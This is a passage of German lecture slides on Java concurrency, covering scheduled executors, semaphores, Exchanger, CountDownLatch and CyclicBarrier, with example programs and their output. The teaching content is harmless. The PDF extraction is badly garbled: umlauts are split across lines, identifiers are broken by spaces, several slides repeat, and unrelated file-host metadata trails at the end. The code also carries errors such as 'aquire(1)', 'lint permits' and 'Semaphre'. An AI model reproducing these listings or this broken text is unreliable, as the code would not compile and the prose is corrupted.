2,
// period
TimeUnit . SECONDS );
9
10
11
12
13
15
16
17
18
19
20
try {
Thread . sleep (30000); // 30 secs
scheduler . shutdown ();
} catch ( Exception e ) {}
} // end main
} // end class Schedule
•
•
←
←
←
←
←
scheduler ist ein ScheduledExecutorService
Die Methode scheduleAtFixedRate verwendet nach 10 Sekunden alle 2 Sekunden den Pool,
um einem Thread die Ausf¨
uhrung des Worker zu u
¨bergeben.
71 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Semaphore
Semaphore
Zur Erinnerung:
Semaphore sind Z¨ahler f¨
ur verf¨
ugbare Ressourcen mit den
unteilbaren Operationen acquire (=Dijkstra’s p) und release
(=Dijkstra’s v).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Semaphore {
private int value ;
public Semaphore ( int init ) {
if ( init < 0) ini t = 0;
value = init ;
}
public synchronized void acquire () { // Dijkstra 's operation p
while ( value == 0) {
try { wait ();
} catch ( I n t e r r u p t e d E x c e p t i o n e ) {}
}
value - -;
} // end acquire
public synchronized void release () { // Dijkstra 's operation v
value ++;
notify ();
} // end release
}
72 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Semaphore
Semaphore
In java.util.concurrent existiert eine Semaphore-Klasse, mit einigen
weiteren Methoden.
• Sie entspricht aber eher der bekannten Klasse ’Additive Semaphore’
der BS-Vorlesung:
1
2
3
4
5
6
7
8
9
10
11
12
13
public class Add iti veS e m a p h o r e {
private int value ;
public Ad dit ive Sem ap h o r e ( int permits ) {
if ( permits < 0)
permits = 0;
value = permits ;
}
public void acquire () {
aquire (1);
}
public void release () {
release (1);
}
73 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Semaphore
Semaphore
In java.util.concurrent existiert eine Semaphore-Klasse, mit einigen
weiteren Methoden.
• Sie entspricht aber eher der bekannten Klasse ’Additive Semaphore’
der BS-Vorlesung.
• Die Methoden acquire und release haben ein Integerargument, das
angibt, um welchen Wert erniedrigt bzw. erhoht werden soll.
1
2
3
4
5
6
7
8
9
11
12
13
14
15
16
public synchronized void acquire ( int permits ) {
if ( permits <= 0) return ;
while ( value - permits < 0) {
try { wait ();
}
catch ( I n t e r r u p t e d E x c e p t i o n e ) {}
}
value -= permits ;
} // end acquire
public synchronized void release ( int permits ) {
if ( permits <= 0) return ;
value += permits ;
notifyAll ();
} // end release
} // class Additive Semaphore
74 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Semaphore
Semaphore - Methoden
Die wesentlichen Methoden des Semaphore-Klasse des councurrent
Pakets sind:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Semaphre implements Serializable {
public Semaphore ( int permits , boolean fair );
public void acquire () throws I n t e r r u p t e d E x c e p t i o n ;
public void acquire ( int permits ) throws ...
public void a c q u i r e U n i n t e r r u p t i b l y ();
public void a c q u i r e U n i n t e r r u p t i b l y ( int permits );
public boolean tryAcquire () throws ...
public boolean tryAcquire ( long timeout , TimeUnit unit ) throws ...
public boolean tryAcquire ( int permits ) throws ...
public boolean tryAcquire ( lint permits , long timeout ,
TimeUnit unit ) throws ...
public void release ();
public void release ( int permits );
boolean isFair ();
public int getQueueLen gth ();
public int available P e r m it s ();
}
•
•
Mit fair wird erreicht, dass der am l¨
angsten wartende Thread nach release geweckt wird.
Die restlichen Methoden sind selbsterkl¨
arend.
75 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Semaphore
Semaphore - Beispiel
2 Thread gleichzeitig im kritischen Abschnitt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Semaphore/SemaphoreApp.java
public class SemaphoreApp {
static Semaphore semaphore = new Semaphore (2 , false );
←
static Runnable r = new Runnable () {
public void run () {
while ( true ) {
try {
semaphore . acquire (); // start of critical section ←
System . out . println ( " Thread = " +
Thread . currentThread (). getName () +
" , Available Permits = " +
semaphore . a v a i la bl e P e r m i t s () );
Thread . sleep (2000);
// end of critical section
} catch ( I n t e r r u p t e d E x c e p t i o n e ) {}
finally { semaphore . release ();}
←
}
} // end run
}; // end Rumnable
public static void main ( String [] args ) {
new Thread ( r ). start (); new Thread ( r ). start ();
new Thread ( r ). start ();
} // end main
}
•
release sollte stets in einen finally-Block eingebettet werden, um sicherzustellen, dass es
immer ausgef¨
uhrt wird.
76 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Exchanger
Exchanger
Exchanger werden verwendet, wenn zwei Threads gegenseitig Objekte
austauschen wollen.
• Beide Threads verwenden den selben Vermittler (exchanger) zum
Objektaustausch.
Beispiel: Gesch¨aft, bei dem ein Wagen gekauft/verkauft wird, also Ware
gegen Geld getauscht wird. Exchanger/ExchangerApp.java
1
2
3
4
5
6
7
8
9
public class ExchangerApp {
public static void main ( String [] args ) {
Exchanger < String > exchanger = new Exchanger < String >();
Buyer buyer = new Buyer ( exchanger );
Seller seller = new Seller ( exchanger );
new Thread ( buyer ). start ();
new Thread ( seller ). start ();
} // end main
} // end ExchangerApp
←
←
←
• Der exchanger wird vom K¨
aufer und vom Verk¨aufer verwendet.
77 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Exchanger
Exchanger
Exchanger werden verwendet, wenn zwei Threads gegenseitig Objekte
austauschen wollen.
• Beide Threads verwenden den selben Vermittler (exchanger) zum
Objektaustausch.
Beispiel: Gesch¨aft, bei dem ein Wagen gekauft/verkauft wird, also Ware
gegen Geld getauscht wird. Exchanger/ExchangerApp.java
1
2
3
4
5
6
7
8
9
public class ExchangerApp {
public static void main ( String [] args ) {
Exchanger < String > exchanger = new Exchanger < String >();
Buyer buyer = new Buyer ( exchanger );
Seller seller = new Seller ( exchanger );
new Thread ( buyer ). start ();
new Thread ( seller ). start ();
} // end main
} // end ExchangerApp
←
←
←
• Der exchanger wird vom K¨
aufer und vom Verk¨aufer verwendet.
77 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Exchanger
Exchanger - Beispiel
Exchanger/ExchangerApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Buyer implements Runnable {
private Exchanger < String > e ;
Buyer ( Exchanger < String > e ) {
this . e = e ;
}
public void run () {
String money = " 1000 EUR " ;
String car = " " ;
System . out . println ( " buyer : try to buy a car " );
try {
car = e . exchange ( money );
} catch ( Exception ex ) {}
System . out . println ( " buyer : got a " + car );
}
} // end Buyer
•
K¨
aufer sendet u
angt u
¨ber den Exchanger Geld und empf¨
¨ber ihn das Auto.
78 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Exchanger
Exchanger - Beispiel
Exchanger/ExchangerApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Seller implements Runnable {
private Exchanger < String > e ;
Seller ( Exchanger < String > e ) {
this . e = e ;
}
public void run () {
String car = " Porsche " ;
String money = " " ;
System . out . println ( " seller : try to sell a car " );
try {
money = e . exchange ( car );
} catch ( Exception ex ) {}
System . out . println ( " seller : got " + money + " for the car " );
}
} // end seller
•
1
2
3
4
5
6
Der Verk¨
aufer sendet das Auto u
angt u
ur.
¨ber den Exchanger und empf¨
¨ber ihn das Geld daf¨
as@hal : Exchanger > java ExchangerApp
buyer : try to buy a car
seller : try to sell a car
seller : got 1000 EUR for the car
buyer : got a Porsche
as@hal : Exchanger >
79 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Exchanger
Exchanger - Beispiel
Exchanger/ExchangerApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Seller implements Runnable {
private Exchanger < String > e ;
Seller ( Exchanger < String > e ) {
this . e = e ;
}
public void run () {
String car = " Porsche " ;
String money = " " ;
System . out . println ( " seller : try to sell a car " );
try {
money = e . exchange ( car );
} catch ( Exception ex ) {}
System . out . println ( " seller : got " + money + " for the car " );
}
} // end seller
•
1
2
3
4
5
6
Der Verk¨
aufer sendet das Auto u
angt u
ur.
¨ber den Exchanger und empf¨
¨ber ihn das Geld daf¨
as@hal : Exchanger > java ExchangerApp
buyer : try to buy a car
seller : try to sell a car
seller : got 1000 EUR for the car
buyer : got a Porsche
as@hal : Exchanger >
79 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CountDownLatch
CountDownLatch
Ein CountDownLatch erlaubt mehreren Threads zu warten, bis andere
Threads Aktivit¨aten abgeschlossen haben.
• Dazu teilen Sie sich einen Counter, der dekrementiert werden kann.
• Sie machen weiter, wenn der Z¨
ahler 0 geworden ist.
Beispiel: 3 Threads die warten bis die anderen 3 Threads den
gemeinsamen Z¨ahler dekrementiert haben CountDownLatch/CountDownLatchApp.java
1
2
3
4
5
6
7
8
9
public class Cou ntD own L a t c h A p p {
public static void main ( String [] args ) {
CountDownLatch cdl = new CountDo wnLatch (3);
for ( int i =0; i < 3; i ++) {
new CountDownCount ( cdl ). start ();
new CountDownWait ( cdl ). start ();
}
} // end main
} // end ExchangerApp
• cdl ist ein CoundDownLatch, der mir 3 initialisiert wird.
• CountDownCount ist ein Thread der den Z¨
ahler cdl herunterz¨ahlt,
CountDownWait ist ein Thread, der wartet, bis der Z¨ahler 0
geworden ist.
80 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CountDownLatch
CountDownLatch
Ein CountDownLatch erlaubt mehreren Threads zu warten, bis andere
Threads Aktivit¨aten abgeschlossen haben.
• Dazu teilen Sie sich einen Counter, der dekrementiert werden kann.
• Sie machen weiter, wenn der Z¨
ahler 0 geworden ist.
Beispiel: 3 Threads die warten bis die anderen 3 Threads den
gemeinsamen Z¨ahler dekrementiert haben CountDownLatch/CountDownLatchApp.java
1
2
3
4
5
6
7
8
9
public class Cou ntD own L a t c h A p p {
public static void main ( String [] args ) {
CountDownLatch cdl = new CountDo wnLatch (3);
for ( int i =0; i < 3; i ++) {
new CountDownCount ( cdl ). start ();
new CountDownWait ( cdl ). start ();
}
} // end main
} // end ExchangerApp
• cdl ist ein CoundDownLatch, der mir 3 initialisiert wird.
• CountDownCount ist ein Thread der den Z¨
ahler cdl herunterz¨ahlt,
CountDownWait ist ein Thread, der wartet, bis der Z¨ahler 0
geworden ist.
80 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CountDownLatch
CountDownLatch - Beispiel
CountDownLatch/CountDownLatchApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class CountDownWait extends Thread {
private CountDownLatch c ;
←
CountDownWait ( CountDow nLatch c ) {
this . c = c ;
}
public void run () {
System . out . println ( this . getName () + " waiting ... " +
c . getCount ()); ←
try {
c . await ();
←
} catch ( Exception e ) {}
System . out . println ( this . getName () + " continue ... " +
c . toString ());
}
} // end CountDownWait
• await ist die Methode der Klasse CountDownLatch, durch die
gewartet wird, bis der Z¨ahler 0 geworden ist.
• getCount liefert den Z¨
ahlerstand.
81 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CountDownLatch
CountDownLatch - Beispiel
CountDownLatch/CountDownLatchApp.java
1
2
3
4
5
6
7
8
9
10
11
12
class CountDownCount extends Thread {
private CountDownLatch c ;
←
Coun tDownCount ( CountDown Latch c ) {
this . c = c ;
}
public void run () {
try { sleep (( int )( Math . random () * 10000));
} catch ( Exception e ) {}
c . countDown ();
←
System . out . println ( this . getName () + " : countDown " );
}
} // end CountDownCount
• countDown dekrementiert c.
82 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CountDownLatch
CountDownLatch - Beispiel
CountDownLatch/CountDownLatchApp.java
Ausgabe
1
2
3
4
5
6
7
8
9
10
11
as@hal : CountDownLatch > java C o u n t D o w n L a t c h A p p
Thread -1 waiting ... 3
Thread -3 waiting ... 3
Thread -5 waiting ... 3
Thread -2: countDown
Thread -0: countDown
Thread -4: countDown
Thread -1 continue ... C o u n t D o w n L a t c h @ 7 9 c 2 8 5 [ Count = 0]
Thread -5 continue ... C o u n t D o w n L a t c h @ 7 9 c 2 8 5 [ Count = 0]
Thread -3 continue ... C o u n t D o w n L a t c h @ 7 9 c 2 8 5 [ Count = 0]
as@hal : CountDownLatch >
83 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Die Klasse CyclicBarrier dient dazu, mehreren Threads einen
Sammelpunkt anzubieten, bei dem alle Threads warten, bis jeder andere
den Sammelpunkt erreicht hat.
• Erst dann fahren alle mit der Verarbeitung der restlichen Aktionen
fort.
• Dies ist vergleichbar mit einer Laufgruppe, die vereinbart hat, dass
alle Teilnehmer an einer Sammelstelle warten, bevor alle weiterlaufen.
• Die schnellen L¨
aufer m¨
ussen also warten, bis der langsamste den
Sammelpunkt erreicht hat.
84 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Beispiel: 4 Threads, die an einer Sammelstelle warten
1
2
4
5
6
8
9
10
11
12
13
14
15
16
17
class Worker extends Thread {
private CyclicBarrier barrier ;
CyclicBarrier/CyclicBarrierDemo.java
←
Worker ( CyclicBarrier barrier ) {
this . barrier = barrier ;
}
public void run () {
try {
System . out . println ( this . getName ()+ " running ... " );
sleep (( int )( Math . random () * 10000));
System . out . println ( this . getName ()+ " waiting ... " );
barrier . await ();
// barrier point
←
System . out . println ( this . getName ()+ " continue ... " );
} catch ( Exception e ) {}
}
} // end Worker
• Die Methode await der Klasse CyclicBarrier definiert die
Sammelstelle, an der gewartet wird.
85 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Beispiel: 4 Threads, die an einer Sammelstelle warten
1
2
3
4
5
6
7
8
9
10
public class Cyc lic Bar r i e r D e m o {
public static void main ( String args []) {
CyclicBarrier barrier = new CyclicBarrier (4);
System . out . println ( " main : start " );
for ( int i = 0; i < 4; i ++) {
new Worker ( barrier ). start ();
}
System . out . println ( " main : end " );
}
}
CyclicBarrier/CyclicBarrierDemo.java
←
• Die vier Threads werden in main erzeugt.
86 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Ausgabe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
as@hal : CyclicBarrier > java C y c l i c B a r r i e r D e m o
main : start
Thread -0 running ...
Thread -1 running ...
main : end
Thread -3 running ...
Thread -2 running ...
Thread -2 waiting ...
Thread -3 waiting ...
Thread -0 waiting ...
Thread -1 waiting ...
Thread -1 continue ...
Thread -2 continue ...
Thread -3 continue ...
Thread -0 continue ...
as@hal : CyclicBarrier >
87 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Was passiert, wenn man mehrere Threads (6) hat, als die Anzahl Threads
bei der Definition der Sammelstelle (4), also CyclicBarrier/CyclicBarrierDemo.java:
1
2
3
4
5
6
7
8
9
10
public class Cyc lic Bar r i e r D e m o {
public static void main ( String args []) {
CyclicBarrier barrier = new CyclicBarrier (4);
System . out . println ( " main : start " );
for ( int i = 0; i < 6; i ++) {
new Worker ( barrier ). start ();
}
System . out . println ( " main : end " );
}
}
←
←
→ Rechner
88 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Der Konstruktor von CyclicBarrier erlaubt auch, einen Thread anzugeben,
der ausgef¨
uhrt wird, sobald alle die Sammelstelle erreicht haben.
Beispiel: Matrizensumme zeilenweise parallel und Aufsammel (merger)
des Ergebnisses CyclicBarrier/CyclicBarrierApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main ( String args []) {
final int rows = matrix . length ;
results = new int [ rows ];
Runnable merger = new Runnable () {
public void run () {
int sum = 0;
for ( int i = 0; i < rows ; i ++) {
sum += results [ i ];
}
System . out . println ( " Results are : " + sum );
} // run
}; // Runnable
CyclicBarrier barrier = new CyclicBarrier ( rows , merger );
for ( int i = 0; i < rows ; i ++) {
new Summer ( barrier , i ). start (); // sum of row i
}
System . out . println ( " Waiting ... " );
}
•
←
←
←
Wenn alle Summer-Threads await aufgerufen haben, wird der merger-Thread gestartet.
89 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
CyclicBarrier
CyclicBarrier
Der Konstruktor von CyclicBarrier erlaubt auch, einen Thread anzugeben,
der ausgef¨
uhrt wird, sobald alle die Sammelstelle erreicht haben.
Beispiel: Matrizensumme zeilenweise parallel und Aufsammel (merger)
des Ergebnisses CyclicBarrier/CyclicBarrierApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main ( String args []) {
final int rows = matrix . length ;
results = new int [ rows ];
Runnable merger = new Runnable () {
public void run () {
int sum = 0;
for ( int i = 0; i < rows ; i ++) {
sum += results [ i ];
}
System . out . println ( " Results are : " + sum );
} // run
}; // Runnable
CyclicBarrier barrier = new CyclicBarrier ( rows , merger );
for ( int i = 0; i < rows ; i ++) {
new Summer ( barrier , i ). start (); // sum of row i
}
System . out . println ( " Waiting ... " );
}
•
←
←
←
Wenn alle Summer-Threads await aufgerufen haben, wird der merger-Thread gestartet.
89 / 89
Document
Kategorie
Kunst und Fotos
Seitenansichten
12
Dateigröße
418 KB
Tags
1/--Seiten
melden